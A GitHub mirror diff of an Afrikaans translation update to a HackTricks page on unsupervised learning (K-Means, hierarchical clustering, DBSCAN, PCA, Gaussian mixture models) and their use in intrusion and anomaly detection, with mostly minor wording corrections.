mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Unsupervised-Learning-Algorithms.md', 'src/binary
This commit is contained in:
parent
553894b786
commit
a8f0917ce7
@ -4,24 +4,24 @@
|
||||
|
||||
## Ongehoorde Leer
|
||||
|
||||
Ongehoorde leer is 'n tipe masjienleer waar die model op data opgelei word sonder gelabelde antwoorde. Die doel is om patrone, strukture of verhoudings binne die data te vind. Anders as gesuperviseerde leer, waar die model van gelabelde voorbeelde leer, werk ongehoorde leer algoritmes met ongelabelde data.
|
||||
Ongehoorde leer is 'n tipe masjienleer waar die model op data sonder gelabelde antwoorde opgelei word. Die doel is om patrone, strukture of verhoudings binne die data te vind. Anders as gesuperviseerde leer, waar die model van gelabelde voorbeelde leer, werk ongehoorde leer algoritmes met ongelabelde data.
|
||||
Ongehoorde leer word dikwels gebruik vir take soos groepering, dimensie vermindering en anomalie opsporing. Dit kan help om versteekte patrone in data te ontdek, soortgelyke items saam te groepeer, of die kompleksiteit van die data te verminder terwyl die essensiële eienskappe behou word.
|
||||
|
||||
### K-Means Groepering
|
||||
|
||||
K-Means is 'n sentroid-gebaseerde groeperingsalgoritme wat data in K groepe verdeel deur elke punt aan die naaste groep gemiddelde toe te ken. Die algoritme werk soos volg:
|
||||
1. **Inisialisering**: Kies K aanvanklike groep sentrums (sentroïede), dikwels ewekansig of via slimmer metodes soos k-means++
|
||||
2. **Toekenning**: Ken elke datapunt toe aan die naaste sentroid gebaseer op 'n afstandsmetrie (bv. Euclidiese afstand).
|
||||
2. **Toewysing**: Ken elke datapunt toe aan die naaste sentroïde gebaseer op 'n afstandsmetrie (bv. Euclidiese afstand).
|
||||
3. **Opdatering**: Herbereken die sentroïede deur die gemiddelde van alle datapunte wat aan elke groep toegeken is, te neem.
|
||||
4. **Herhaal**: Stappe 2–3 word herhaal totdat die groep toekennings stabiliseer (sentroïede beweeg nie meer beduidend nie).
|
||||
4. **Herhaal**: Stappe 2–3 word herhaal totdat die groep toewysings stabiliseer (sentroïede beweeg nie meer beduidend nie).
|
||||
|
||||
> [!TIP]
|
||||
> *Gebruik gevalle in kuberveiligheid:* K-Means word gebruik vir indringing opsporing deur netwerkgebeurtenisse te groepeer. Byvoorbeeld, navorsers het K-Means toegepas op die KDD Cup 99 indringingsdataset en gevind dat dit effektief verkeer in normale teenoor aanval groepe verdeel. In praktyk kan sekuriteitsontleders loginskrywings of gebruikersgedragdata groepeer om groepe van soortgelyke aktiwiteit te vind; enige punte wat nie aan 'n goed gevormde groep behoort nie, kan anomalieë aandui (bv. 'n nuwe malware variasie wat sy eie klein groep vorm). K-Means kan ook help met malware familie klassifikasie deur binaire lêers op grond van gedragsprofiele of kenmerk vektore te groepeer.
|
||||
|
||||
#### Keuse van K
|
||||
Die aantal groepe (K) is 'n hiperparameter wat gedefinieer moet word voordat die algoritme uitgevoer word. Tegnieke soos die Elbow Metode of Silhouette Punt kan help om 'n toepaslike waarde vir K te bepaal deur die groepering prestasie te evalueer:
|
||||
Die aantal groepe (K) is 'n hiperparameter wat gedefinieer moet word voordat die algoritme uitgevoer word. Tegnieke soos die Elbow Metode of Silhouette Punt kan help om 'n toepaslike waarde vir K te bepaal deur die groeperingsprestasie te evalueer:
|
||||
|
||||
- **Elbow Metode**: Plot die som van die kwadratiese afstande van elke punt na sy toegekenne groep sentroid as 'n funksie van K. Soek 'n "elboog" punt waar die tempo van afname skerp verander, wat 'n geskikte aantal groepe aandui.
|
||||
- **Elbow Metode**: Plot die som van die kwadratiese afstande van elke punt na sy toegekenne groep sentroïde as 'n funksie van K. Soek 'n "elboog" punt waar die tempo van afname skerp verander, wat 'n geskikte aantal groepe aandui.
|
||||
- **Silhouette Punt**: Bereken die silhouette punt vir verskillende waardes van K. 'n Hoër silhouette punt dui op beter gedefinieerde groepe aan.
|
||||
|
||||
#### Aannames en Beperkings
|
||||
@ -63,10 +63,10 @@ In hierdie voorbeeld moet K-Means 4 groepe vind. Die klein aanvalsgroep (met ong
|
||||
|
||||
Hiërargiese groepering bou 'n hiërargie van groepe op deur óf 'n onder-na-bo (agglomeratiewe) benadering óf 'n bo-na-onder (divisiewe) benadering te gebruik:
|
||||
|
||||
1. **Agglomeratiewe (Onder-Na-Bo)**: Begin met elke datapunt as 'n aparte groep en kombineer herhaaldelik die naaste groepe totdat 'n enkele groep oorbly of 'n stopkriterium bereik word.
|
||||
2. **Divisiewe (Bo-Na-Onder)**: Begin met alle datapunte in 'n enkele groep en verdeel herhaaldelik die groepe totdat elke datapunt sy eie groep is of 'n stopkriterium bereik word.
|
||||
1. **Agglomeratief (Onder-Na-Bo)**: Begin met elke datapunt as 'n aparte groep en kombineer herhaaldelik die naaste groepe totdat 'n enkele groep oorbly of 'n stopkriterium bereik word.
|
||||
2. **Divisief (Bo-Na-Onder)**: Begin met al die datapunte in 'n enkele groep en verdeel herhaaldelik die groepe totdat elke datapunt sy eie groep is of 'n stopkriterium bereik word.
|
||||
|
||||
Agglomeratiewe groepering vereis 'n definisie van inter-groep afstand en 'n skakelingskriterium om te besluit watter groepe saamgevoeg moet word. Algemene skakelingsmetodes sluit enkele skakeling (afstand van die naaste punte tussen twee groepe), volledige skakeling (afstand van die verste punte), gemiddelde skakeling, ensovoorts in, en die afstandsmetrieks is dikwels Euclidies. Die keuse van skakeling beïnvloed die vorm van die groepe wat geproduseer word. Daar is geen behoefte om die aantal groepe K vooraf te spesifiseer nie; jy kan die dendrogram op 'n gekose vlak "sny" om die gewenste aantal groepe te verkry.
|
||||
Agglomeratiewe groepering vereis 'n definisie van inter-groep afstand en 'n skakelingskriterium om te besluit watter groepe saamgevoeg moet word. Algemene skakelingsmetodes sluit enkele skakeling (afstand van die naaste punte tussen twee groepe), volledige skakeling (afstand van die verste punte), gemiddelde skakeling, ensovoorts in, en die afstandsmetrie is dikwels Euclidies. Die keuse van skakeling beïnvloed die vorm van die groepe wat geproduseer word. Daar is geen behoefte om die aantal groepe K vooraf te spesifiseer nie; jy kan die dendrogram op 'n gekose vlak "sny" om die gewenste aantal groepe te verkry.
|
||||
|
||||
Hiërargiese groepering produseer 'n dendrogram, 'n boomagtige struktuur wat die verhoudings tussen groepe op verskillende vlakke van granulariteit toon. Die dendrogram kan op 'n gewenste vlak gesny word om 'n spesifieke aantal groepe te verkry.
|
||||
|
||||
@ -75,7 +75,7 @@ Hiërargiese groepering produseer 'n dendrogram, 'n boomagtige struktuur wat die
|
||||
|
||||
#### Aannames en Beperkings
|
||||
|
||||
Hiërargiese groepering neem nie 'n spesifieke groepvorm aan nie en kan geneste groepe vasvang. Dit is nuttig om taksonomie of verhoudings tussen groepe te ontdek (bv. om kwaadwillige sagteware volgens familie subgroepe te groepeer). Dit is deterministies (geen random inisialisering probleme nie). 'n Sleutelvoordeel is die dendrogram, wat insig bied in die data se groeperingsstruktuur op alle skale – sekuriteitsontleders kan 'n toepaslike afsnit besluit om betekenisvolle groepe te identifiseer. Dit is egter rekenaarintensief (tipies $O(n^2)$ tyd of erger vir naïewe implementasies) en nie haalbaar vir baie groot datastelle nie. Dit is ook 'n gulsige prosedure – sodra 'n samesmelting of splitsing gedoen is, kan dit nie ongedaan gemaak word nie, wat kan lei tot suboptimale groepe as 'n fout vroeg gebeur. Uitskieters kan ook sommige skakelingsstrategieë beïnvloed (enkele skakeling kan die "ketting" effek veroorsaak waar groepe via uitskieters skakel).
|
||||
Hiërargiese groepering neem nie 'n spesifieke groepvorm aan nie en kan geneste groepe vasvang. Dit is nuttig om taksonomie of verhoudings tussen groepe te ontdek (bv. om kwaadwillige sagteware volgens familie subgroepe te groepeer). Dit is deterministies (geen ewekansige inisialisering probleme nie). 'n Sleutelvoordeel is die dendrogram, wat insig bied in die data se groeperingsstruktuur op alle skale – sekuriteitsontleders kan 'n toepaslike afsnit besluit om betekenisvolle groepe te identifiseer. Dit is egter rekenaarintensief (tipies $O(n^2)$ tyd of erger vir naïewe implementasies) en nie haalbaar vir baie groot datastelle nie. Dit is ook 'n gulsige prosedure – sodra 'n samesmelting of splitsing gedoen is, kan dit nie ongedaan gemaak word nie, wat kan lei tot suboptimale groepe as 'n fout vroeg gebeur. Uitskieters kan ook sommige skakelstrategieë beïnvloed (enkele skakeling kan die "ketting" effek veroorsaak waar groepe via uitskieters skakel).
|
||||
|
||||
<details>
|
||||
<summary>Voorbeeld -- Agglomeratiewe Groepering van Gebeure
|
||||
@ -114,16 +114,16 @@ DBSCAN identifiseer kernpunte, grenspunte en ruispunte:
|
||||
- **Grenspunt**: 'n Punt wat binne ε afstand van 'n kernpunt is, maar minder as MinPts bure het.
|
||||
- **Ruispunt**: 'n Punt wat nie 'n kernpunt of 'n grenspunt is nie.
|
||||
|
||||
Groepering vorder deur 'n onbesoekte kernpunt te kies, dit as 'n nuwe groep te merk, en dan alle punte wat digtheid-bereikbaar is daarvan (kernpunte en hul bure, ens.) rekursief by te voeg. Grenspunte word by die groep van 'n nabye kern gevoeg. Nadat alle bereikbare punte uitgebrei is, beweeg DBSCAN na 'n ander onbesoekte kern om 'n nuwe groep te begin. Punte wat nie deur enige kern bereik is nie, bly as ruis gemerk.
|
||||
Groepering vorder deur 'n onbesoekte kernpunt te kies, dit as 'n nuwe groep te merk, en dan alle punte wat digtheid-bereikbaar is vanaf dit (kernpunte en hul bure, ens.) rekursief by te voeg. Grenspunte word by die groep van 'n nabye kern gevoeg. Nadat alle bereikbare punte uitgebrei is, beweeg DBSCAN na 'n ander onbesoekte kern om 'n nuwe groep te begin. Punte wat nie deur enige kern bereik is nie, bly as ruis gemerk.
|
||||
|
||||
> [!TIP]
|
||||
> *Gebruik gevalle in kuberveiligheid:* DBSCAN is nuttig vir anomaliedetektering in netwerkverkeer. Byvoorbeeld, normale gebruikersaktiwiteit kan een of meer digte groepe in kenmerkruimte vorm, terwyl nuut aanvalsgedrag as verspreide punte verskyn wat DBSCAN as ruis (uitskieters) sal merk. Dit is gebruik om netwerkvloei rekords te groepeer, waar dit poortskandering of ontkenning-van-diens verkeer as dun gebiede van punte kan opspoor. 'n Ander toepassing is die groepering van malware variasies: as die meeste monsters volgens families groepeer, maar 'n paar nêrens pas nie, kan daardie paar nul-dag malware wees. Die vermoë om ruis te merk beteken dat sekuriteitspanne op die ondersoek van daardie uitskieters kan fokus.
|
||||
|
||||
#### Aannames en Beperkings
|
||||
|
||||
**Aannames & Sterkte:**: DBSCAN neem nie sferiese groepe aan nie – dit kan arbitrêr gevormde groepe vind (selfs ketting-agtige of aangrensende groepe). Dit bepaal outomaties die aantal groepe op grond van datadigtheid en kan effektief uitskieters as ruis identifiseer. Dit maak dit kragtig vir werklike data met onreëlmatige vorms en ruis. Dit is robuust teen uitskieters (in teenstelling met K-Means, wat hulle in groepe dwing). Dit werk goed wanneer groepe ongeveer uniforme digtheid het.
|
||||
**Aannames & Sterkte:**: DBSCAN neem nie sferiese groepe aan nie – dit kan arbitrêr gevormde groepe vind (selfs ketting-agtige of aangrensende groepe). Dit bepaal outomaties die aantal groepe gebaseer op datadigtheid en kan effektief uitskieters as ruis identifiseer. Dit maak dit kragtig vir werklike data met onreëlmatige vorms en ruis. Dit is robuust teen uitskieters (in teenstelling met K-Means, wat hulle in groepe dwing). Dit werk goed wanneer groepe ongeveer uniforme digtheid het.
|
||||
|
||||
**Beperkings**: DBSCAN se prestasie hang af van die keuse van toepaslike ε en MinPts waardes. Dit kan sukkel met data wat verskillende digthede het – 'n enkele ε kan nie sowel digte as dun groepe akkommodeer nie. As ε te klein is, merk dit die meeste punte as ruis; te groot, en groepe kan verkeerd saamvloei. Ook, DBSCAN kan ondoeltreffend wees op baie groot datastelle (naïef $O(n^2)$, hoewel ruimtelike indeksering kan help). In hoë-dimensionele kenmerkruimtes kan die konsep van “afstand binne ε” minder betekenisvol word (die vloek van dimensionaliteit), en DBSCAN mag versigtige parameterafstemming benodig of mag misluk om intuïtiewe groepe te vind. Ondanks hierdie, adresseer uitbreidings soos HDBSCAN sommige probleme (soos verskillende digtheid).
|
||||
**Beperkings**: DBSCAN se prestasie hang af van die keuse van toepaslike ε en MinPts waardes. Dit kan sukkel met data wat verskillende digthede het – 'n enkele ε kan nie beide digte en dun groepe akkommodeer nie. As ε te klein is, merk dit die meeste punte as ruis; te groot, en groepe kan verkeerd saamvloei. Ook, DBSCAN kan ondoeltreffend wees op baie groot datastelle (naïef $O(n^2)$, hoewel ruimtelike indeksering kan help). In hoë-dimensionele kenmerkruimtes kan die konsep van “afstand binne ε” minder betekenisvol word (die vloek van dimensionaliteit), en DBSCAN mag versigtige parameterafstemming benodig of mag misluk om intuïtiewe groepe te vind. Ten spyte van hierdie, adresseer uitbreidings soos HDBSCAN sommige probleme (soos verskillende digtheid).
|
||||
|
||||
<details>
|
||||
<summary>Voorbeeld -- Groepering met Ruis
|
||||
@ -149,23 +149,23 @@ num_noise = np.sum(labels == -1)
|
||||
print(f"DBSCAN found {num_clusters} clusters and {num_noise} noise points")
|
||||
print("Cluster labels for first 10 points:", labels[:10])
|
||||
```
|
||||
In hierdie snit het ons `eps` en `min_samples` aangepas om by ons data-skaal te pas (15.0 in kenmerk-eenhede, en vereis 5 punte om 'n kluster te vorm). DBSCAN behoort 2 klusters (die normale verkeer klusters) te vind en die 5 ingespuite uitskieters as geraas te merk. Ons voer die aantal klusters teenoor geraaspunte uit om dit te verifieer. In 'n werklike omgewing kan 'n mens oor ε iterasie doen (met 'n k-afstand grafiek heuristiek om ε te kies) en MinPts (dikwels rondom die data-dimensie + 1 as 'n reël van duim) om stabiele klustering resultate te vind. Die vermoë om geraas eksplisiet te merk help om potensiële aanvaldata vir verdere analise te skei.
|
||||
In hierdie snit het ons `eps` en `min_samples` aangepas om by ons data-skaal te pas (15.0 in kenmerk-eenhede, en vereis 5 punte om 'n kluster te vorm). DBSCAN behoort 2 klusters te vind (die normale verkeer klusters) en die 5 ingespuite uitskieters as geraas te merk. Ons voer die aantal klusters teenoor geraaspunte uit om dit te verifieer. In 'n werklike omgewing kan 'n mens oor ε iterasie doen (met 'n k-afstand grafiek heuristiek om ε te kies) en MinPts (dikwels rondom die data-dimensionele + 1 as 'n reël van duim) om stabiele klustering resultate te vind. Die vermoë om geraas eksplisiet te merk help om potensiële aanvaldata vir verdere analise te skei.
|
||||
|
||||
</details>
|
||||
|
||||
### Hoofkomponentanalise (PCA)
|
||||
|
||||
PCA is 'n tegniek vir **dimensievermindering** wat 'n nuwe stel ortogonale as (hoofkomponente) vind wat die maksimum variansie in die data vasvang. In eenvoudige terme draai PCA die data en projekteer dit op 'n nuwe koördinaatstelsel sodat die eerste hoofkomponent (PC1) die grootste moontlike variansie verduidelik, die tweede PC (PC2) die grootste variansie ortogonaal tot PC1 verduidelik, en so aan. Wiskundig bereken PCA die eie vektore van die data se kovariansiematrix – hierdie eie vektore is die hoofkomponent rigtings, en die ooreenstemmende eie waardes dui die hoeveelheid variansie aan wat deur elkeen verduidelik word. Dit word dikwels gebruik vir kenmerk ekstraksie, visualisering, en geraasvermindering.
|
||||
PCA is 'n tegniek vir **dimensionaliteitsvermindering** wat 'n nuwe stel ortogonale as (hoofkomponente) vind wat die maksimum variansie in die data vasvang. In eenvoudige terme draai PCA die data en projekteer dit op 'n nuwe koördinaatstelsel sodat die eerste hoofkomponent (PC1) die grootste moontlike variansie verduidelik, die tweede PC (PC2) die grootste variansie ortogonaal tot PC1 verduidelik, en so aan. Wiskundig bereken PCA die eie vektore van die data se kovariansiematrix – hierdie eie vektore is die richtings van die hoofkomponente, en die ooreenstemmende eie waardes dui die hoeveelheid variansie aan wat deur elkeen verduidelik word. Dit word dikwels gebruik vir kenmerk ekstraksie, visualisering, en geraasvermindering.
|
||||
|
||||
Let daarop dat dit nuttig is as die dataset dimensies **beduidende lineêre afhanklikhede of korrelasies** bevat.
|
||||
|
||||
PCA werk deur die hoofkomponente van die data te identifiseer, wat die rigtings van maksimum variansie is. Die stappe wat betrokke is by PCA is:
|
||||
1. **Standarisering**: Sentra die data deur die gemiddelde af te trek en dit na eenheidsvariansie te skaal.
|
||||
PCA werk deur die hoofkomponente van die data te identifiseer, wat die richtings van maksimum variansie is. Die stappe wat betrokke is by PCA is:
|
||||
1. **Standaardisering**: Sentraal die data deur die gemiddelde af te trek en dit na eenheidsvariansie te skaal.
|
||||
2. **Kovariansiematrix**: Bereken die kovariansiematrix van die gestandaardiseerde data om die verhoudings tussen kenmerke te verstaan.
|
||||
3. **Eie waarde ontbinding**: Voer eie waarde ontbinding op die kovariansiematrix uit om die eie waardes en eie vektore te verkry.
|
||||
4. **Kies Hoofkomponente**: Sorteer die eie waardes in aflopende volgorde en kies die top K eie vektore wat ooreenstem met die grootste eie waardes. Hierdie eie vektore vorm die nuwe kenmerkruimte.
|
||||
5. **Transformeer Data**: Projekteer die oorspronklike data op die nuwe kenmerkruimte met behulp van die geselekteerde hoofkomponente.
|
||||
PCA word wyd gebruik vir data visualisering, geraasvermindering, en as 'n voorverwerkings stap vir ander masjienleer algoritmes. Dit help om die dimensie van die data te verminder terwyl dit sy essensiële struktuur behou.
|
||||
PCA word wyd gebruik vir data visualisering, geraasvermindering, en as 'n voorverwerkings stap vir ander masjienleer algoritmes. Dit help om die dimensionaliteit van die data te verminder terwyl dit sy essensiële struktuur behou.
|
||||
|
||||
#### Eie waardes en Eie vektore
|
||||
|
||||
@ -180,24 +180,24 @@ Dan, `A * v = [ [1, 2], [2, 1]] * [1, 1] = [3, 3]` wat die eie waarde λ vermeni
|
||||
|
||||
#### Eie waardes en Eie vektore in PCA
|
||||
|
||||
Kom ons verduidelik dit met 'n voorbeeld. Stel jou voor jy het 'n dataset met baie grys skaal prente van gesigte van 100x100 pixels. Elke pixel kan as 'n kenmerk beskou word, so jy het 10,000 kenmerke per beeld (of 'n vektor van 10000 komponente per beeld). As jy die dimensie van hierdie dataset met PCA wil verminder, sal jy die volgende stappe volg:
|
||||
Kom ons verduidelik dit met 'n voorbeeld. Stel jou voor jy het 'n dataset met baie grys skaal prente van gesigte van 100x100 pixels. Elke pixel kan as 'n kenmerk beskou word, so jy het 10,000 kenmerke per beeld (of 'n vektor van 10000 komponente per beeld). As jy die dimensionaliteit van hierdie dataset met PCA wil verminder, sal jy die volgende stappe volg:
|
||||
|
||||
1. **Standarisering**: Sentra die data deur die gemiddelde van elke kenmerk (pixel) van die dataset af te trek.
|
||||
1. **Standaardisering**: Sentraal die data deur die gemiddelde van elke kenmerk (pixel) van die dataset af te trek.
|
||||
2. **Kovariansiematrix**: Bereken die kovariansiematrix van die gestandaardiseerde data, wat vasvang hoe kenmerke (pixels) saam varieer.
|
||||
- Let daarop dat die kovariansie tussen twee veranderlikes (pixels in hierdie geval) aandui hoe baie hulle saam verander, so die idee hier is om uit te vind watter pixels geneig is om saam te verhoog of te verlaag met 'n lineêre verhouding.
|
||||
- Byvoorbeeld, as pixel 1 en pixel 2 geneig is om saam te verhoog, sal die kovariansie tussen hulle positief wees.
|
||||
- Die kovariansiematrix sal 'n 10,000x10,000 matriks wees waar elke inskrywing die kovariansie tussen twee pixels verteenwoordig.
|
||||
3. **Los die eie waarde vergelyking op**: Die eie waarde vergelyking om op te los is `C * v = λ * v` waar C die kovariansiematrix is, v die eie vektor is, en λ die eie waarde is. Dit kan opgelos word met metodes soos:
|
||||
- **Eie waarde ontbinding**: Voer eie waarde ontbinding op die kovariansiematrix uit om die eie waardes en eie vektore te verkry.
|
||||
- **Singuliere Waarde Ontbinding (SVD)**: Alternatiewelik kan jy SVD gebruik om die datamatris in singuliere waardes en vektore te ontbind, wat ook die hoofkomponente kan oplewer.
|
||||
4. **Kies Hoofkomponente**: Sorteer die eie waardes in aflopende volgorde en kies die top K eie vektore wat ooreenstem met die grootste eie waardes. Hierdie eie vektore verteenwoordig die rigtings van maksimum variansie in die data.
|
||||
- **Singuliere waarde ontbinding (SVD)**: Alternatiewelik kan jy SVD gebruik om die datamatriks in singuliere waardes en vektore te ontbind, wat ook die hoofkomponente kan oplewer.
|
||||
4. **Kies Hoofkomponente**: Sorteer die eie waardes in aflopende volgorde en kies die top K eie vektore wat ooreenstem met die grootste eie waardes. Hierdie eie vektore verteenwoordig die richtings van maksimum variansie in die data.
|
||||
|
||||
> [!TIP]
|
||||
> *Gebruik gevalle in kuberveiligheid:* 'n Algemene gebruik van PCA in sekuriteit is kenmerkvermindering vir anomaliedetektering. Byvoorbeeld, 'n indringingdeteksiesisteem met 40+ netwerkmetrieke (soos NSL-KDD kenmerke) kan PCA gebruik om dit tot 'n handjievol komponente te verminder, wat die data opsom vir visualisering of om in klustering algoritmes te voer. Analiste kan netwerkverkeer in die ruimte van die eerste twee hoofkomponente plot om te sien of aanvalle van normale verkeer skei. PCA kan ook help om oorvloedige kenmerke te elimineer (soos bytes gestuur teenoor bytes ontvang as hulle korreleer) om deteksie algoritmes meer robuust en vinniger te maak.
|
||||
> *Gebruik gevalle in kuberveiligheid:* 'n Algemene gebruik van PCA in sekuriteit is kenmerkvermindering vir anomaliedetektering. Byvoorbeeld, 'n indringingdeteksiesisteem met 40+ netwerkmetrieke (soos NSL-KDD kenmerke) kan PCA gebruik om tot 'n handjievol komponente te verminder, wat die data vir visualisering of om in klustering algoritmes te voer, opsom. Analiste kan netwerkverkeer in die ruimte van die eerste twee hoofkomponente plot om te sien of aanvalle van normale verkeer skei. PCA kan ook help om oorvloedige kenmerke te elimineer (soos bytes gestuur teenoor bytes ontvang as hulle korreleer) om deteksie-algoritmes meer robuust en vinniger te maak.
|
||||
|
||||
#### Aannames en Beperkings
|
||||
|
||||
PCA neem aan dat **hoofasse van variansie betekenisvol is** – dit is 'n lineêre metode, so dit vang lineêre korrelasies in data. Dit is nie-beheerde omdat dit slegs die kenmerk kovariansie gebruik. Voordele van PCA sluit geraasvermindering in (klein-variansie komponente stem dikwels ooreen met geraas) en dekorelasi van kenmerke. Dit is rekenaar-effektief vir matig hoë dimensies en dikwels 'n nuttige voorverwerkings stap vir ander algoritmes (om die vloek van dimensie te verminder). Een beperking is dat PCA beperk is tot lineêre verhoudings – dit sal nie komplekse nie-lineêre struktuur vasvang nie (terwyl outokoders of t-SNE dit mag). Ook kan PCA komponente moeilik wees om te interpreteer in terme van oorspronklike kenmerke (dit is kombinasies van oorspronklike kenmerke). In kuberveiligheid moet 'n mens versigtig wees: 'n aanval wat net 'n subtiele verandering in 'n lae-variansie kenmerk veroorsaak, mag nie in die top PC's verskyn nie (aangesien PCA variansie prioritiseer, nie noodwendig "interessantheid" nie).
|
||||
PCA neem aan dat **hoofasse van variansie betekenisvol is** – dit is 'n lineêre metode, so dit vang lineêre korrelasies in data vas. Dit is nie-begeleide omdat dit slegs die kenmerk kovariansie gebruik. Voordele van PCA sluit geraasvermindering in (klein-variansie komponente stem dikwels ooreen met geraas) en dekorelasie van kenmerke. Dit is rekenaar-effektief vir matig hoë dimensies en dikwels 'n nuttige voorverwerkings stap vir ander algoritmes (om die vloek van dimensionaliteit te verminder). Een beperking is dat PCA beperk is tot lineêre verhoudings – dit sal nie komplekse nie-lineêre struktuur vasvang nie (terwyl outokoders of t-SNE dit mag). Ook kan PCA komponente moeilik wees om te interpreteer in terme van oorspronklike kenmerke (dit is kombinasies van oorspronklike kenmerke). In kuberveiligheid moet 'n mens versigtig wees: 'n aanval wat net 'n subtiele verandering in 'n lae-variansie kenmerk veroorsaak, mag nie in die top PC's verskyn nie (aangesien PCA variansie prioritiseer, nie noodwendig "interessantheid" nie).
|
||||
|
||||
<details>
|
||||
<summary>Voorbeeld -- Vermindering van Dimensies van Netwerkdata
|
||||
@ -232,7 +232,7 @@ Hier het ons die vroeëre normale verkeersklusters geneem en elke datapunt uitge
|
||||
|
||||
'n Gaussian Mixture Model neem aan dat data gegenereer word uit 'n mengsel van **verskeie Gaussian (normale) verspreidings met onbekende parameters**. In wese is dit 'n probabilistiese klusteringmodel: dit probeer om elke punt sagkens aan een van K Gaussian komponente toe te ken. Elke Gaussian komponent k het 'n gemiddelde vektor (μ_k), kovariansiematrix (Σ_k), en 'n menggewig (π_k) wat verteenwoordig hoe algemeen daardie kluster is. Anders as K-Means wat "harde" toekennings doen, gee GMM elke punt 'n waarskynlikheid om tot elke kluster te behoort.
|
||||
|
||||
GMM-aanpassing word tipies gedoen via die Verwachting-Maximisering (EM) algoritme:
|
||||
GMM-aanpassing word tipies gedoen via die Verwachting-Maximisasie (EM) algoritme:
|
||||
|
||||
- **Inisialisering**: Begin met aanvanklike raaiskote vir die gemiddeldes, kovariansies, en mengkoëffisiënte (of gebruik K-Means resultate as 'n beginpunt).
|
||||
|
||||
@ -244,23 +244,23 @@ waar:
|
||||
- \( \pi_k \) is die mengkoëffisiënt vir kluster k (vooraf waarskynlikheid van kluster k),
|
||||
- \( \mathcal{N}(x_n | \mu_k, \Sigma_k) \) is die Gaussian waarskynlikheidsdigtheidsfunksie vir punt \( x_n \) gegewe gemiddelde \( \mu_k \) en kovariansie \( \Sigma_k \).
|
||||
|
||||
- **M-stap (Maximisering)**: Werk die parameters op met behulp van die verantwoordelikhede wat in die E-stap bereken is:
|
||||
- **M-stap (Maximisasie)**: Werk die parameters op met behulp van die verantwoordelikhede wat in die E-stap bereken is:
|
||||
- Werk elke gemiddelde μ_k op as die gewogen gemiddelde van punte, waar gewigte die verantwoordelikhede is.
|
||||
- Werk elke kovariansie Σ_k op as die gewogen kovariansie van punte wat aan kluster k toegewys is.
|
||||
- Werk mengkoëffisiënte π_k op as die gemiddelde verantwoordelikheid vir kluster k.
|
||||
|
||||
- **Herhaal** E- en M-stappe totdat konvergensie plaasvind (parameters stabiliseer of waarskynlikheidsverbetering onder 'n drempel is).
|
||||
|
||||
Die resultaat is 'n stel Gaussian verspreidings wat saam die algehele dataverspreiding modelleer. Ons kan die aangepaste GMM gebruik om te kluster deur elke punt aan die Gaussian met die hoogste waarskynlikheid toe te ken, of die waarskynlikhede te hou vir onsekerheid. 'n Mens kan ook die waarskynlikheid van nuwe punte evalueer om te sien of hulle by die model pas (nuttig vir anomaliedetektering).
|
||||
Die resultaat is 'n stel Gaussian verspreidings wat saam die algehele dataverspreiding modelleer. Ons kan die aangepaste GMM gebruik om te kluster deur elke punt aan die Gaussian met die hoogste waarskynlikheid toe te ken, of die waarskynlikhede vir onsekerheid te behou. 'n Mens kan ook die waarskynlikheid van nuwe punte evalueer om te sien of hulle by die model pas (nuttig vir anomaliedetektering).
|
||||
|
||||
> [!TIP]
|
||||
> *Gebruik gevalle in kuberveiligheid:* GMM kan gebruik word vir anomaliedetektering deur die verspreiding van normale data te modelleer: enige punt met 'n baie lae waarskynlikheid onder die geleerde mengsel word as anomalie gemerk. Byvoorbeeld, jy kan 'n GMM op wettige netwerkverkeerskenmerke oplei; 'n aanvalskonneksie wat nie enige geleerde kluster herinner nie, sou 'n lae waarskynlikheid hê. GMM's word ook gebruik om aktiwiteite te kluster waar klusters verskillende vorms kan hê – byvoorbeeld, om gebruikers volgens gedragprofiele te groepeer, waar elke profiel se kenmerke dalk Gaussian-agtig is, maar met sy eie variantiestruktuur. 'n Ander scenario: in phishing-detektering kan wettige e-poskenmerke een Gaussian kluster vorm, bekende phishing 'n ander, en nuwe phishingveldtogte kan verskyn as 'n aparte Gaussian of as lae waarskynlikheid punte relatief tot die bestaande mengsel.
|
||||
> *Gebruik gevalle in kuberveiligheid:* GMM kan gebruik word vir anomaliedetektering deur die verspreiding van normale data te modelleer: enige punt met 'n baie lae waarskynlikheid onder die geleerde mengsel word as anomalie gemerk. Byvoorbeeld, jy kan 'n GMM op wettige netwerkverkeerskenmerke oplei; 'n aanvalskonneksie wat nie enige geleerde kluster weerspieël nie, sou 'n lae waarskynlikheid hê. GMM's word ook gebruik om aktiwiteite te kluster waar klusters verskillende vorms kan hê – byvoorbeeld, om gebruikers volgens gedragprofiele te groepeer, waar elke profiel se kenmerke dalk Gaussian-agtig is, maar met sy eie variantiestruktuur. 'n Ander scenario: in phishing-detektering kan wettige e-poskenmerke een Gaussian kluster vorm, bekende phishing 'n ander, en nuwe phishing veldtogte kan verskyn as 'n aparte Gaussian of as lae waarskynlikheid punte relatief tot die bestaande mengsel.
|
||||
|
||||
#### Aannames en Beperkings
|
||||
|
||||
GMM is 'n generalisering van K-Means wat kovariansie inkorporeer, sodat klusters ellipsoïdaal kan wees (nie net sferies nie). Dit hanteer klusters van verskillende groottes en vorms as die kovariansie vol is. Sagte klustering is 'n voordeel wanneer klustergrense vaag is – byvoorbeeld, in kuberveiligheid kan 'n gebeurtenis eienskappe van verskeie aanvalstipes hê; GMM kan daardie onsekerheid met waarskynlikhede weerspieël. GMM bied ook 'n probabilistiese digtheidskattings van die data, nuttig vir die opsporing van uitskieters (punte met lae waarskynlikheid onder alle mengkomponente).
|
||||
GMM is 'n generalisering van K-Means wat kovariansie inkorporeer, sodat klusters ellipsoïdaal kan wees (nie net sferies nie). Dit hanteer klusters van verskillende groottes en vorms as die kovariansie vol is. Sagte klustering is 'n voordeel wanneer klustergrense vaag is – byvoorbeeld, in kuberveiligheid kan 'n gebeurtenis eienskappe van verskeie aanvalstipes hê; GMM kan daardie onsekerheid met waarskynlikhede weerspieël. GMM bied ook 'n probabilistiese digtheidskattings van die data, nuttig vir die opsporing van uitskieters (punte met lae waarskynlikheid onder al die mengkomponente).
|
||||
|
||||
